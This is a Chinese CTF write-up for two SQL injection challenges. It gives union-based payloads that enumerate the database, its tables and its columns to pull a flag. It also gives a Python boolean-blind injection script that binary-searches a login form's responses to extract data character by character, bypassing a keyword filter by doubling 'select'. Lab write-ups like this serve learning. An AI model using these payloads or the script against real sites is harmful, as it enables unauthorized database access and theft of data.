SQL1:
首先判断有无过滤或者过滤了哪些东西。
首先尝试1‘ --+,发现有回显,说明—+没有被过滤,可以使用(也可以用%23)
先查看有几列:
1' order by 4 --+
到4的时候无回显,说明只有3列。
试着查看数据名。
-1' union select database(),2,3 --+
发现回显了2,3,所以再试一下放到前边。
-1' union select 2,3,database() --+
数据库名为note,接下来爆破表名。
-1' union select 2,3,group_concat(table_name) from information_schema.tables where table_schema="note" --+
猜测flag在fl4g中,接下来爆破列名。
最后在fl4g中查看fllllag。
-1' union select 2,3,fllllag from fl4g --+
得到flag。
SQL2:
进入后发现在login.php中可以输入账号密码,根据下方提示(如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦)
在账号中存在sql注入。
首先查看有几列。
利用
admin' order by 3 #
发现在3之后回显的和之前不一样,所以判断有3列。
试了好多,发现select被过滤,但可以双写绕过。
看到了提示:
但在bp上我咋写都不成功,只能用脚本了。
在网上看到了很多师傅写的脚本都差不多。
import requests
def Get(url):
result = ''
for i in range(1, 100):
left = 32
right = 128
mid = (left + right) // 2
while left < right:
# 查询表名
# name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
# "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)
# 查询列名
# name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
# "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)
# 根据表名和列名查询字段值
name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)
data = {"name": name, "pass": "123456"}
res = requests.post(url, data)
if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
left = mid + 1
else:
right = mid
mid = (left + right) // 2
# 查询结果结束
if mid == 32:
break
result += chr(mid)
print(result)
print(result)
Get('http://eci-2ze5rim9d48r8c0eppjn.cloudeci1.ichunqiu.com/login.php')#需要改动一下网址。
运行一下。
得到flag。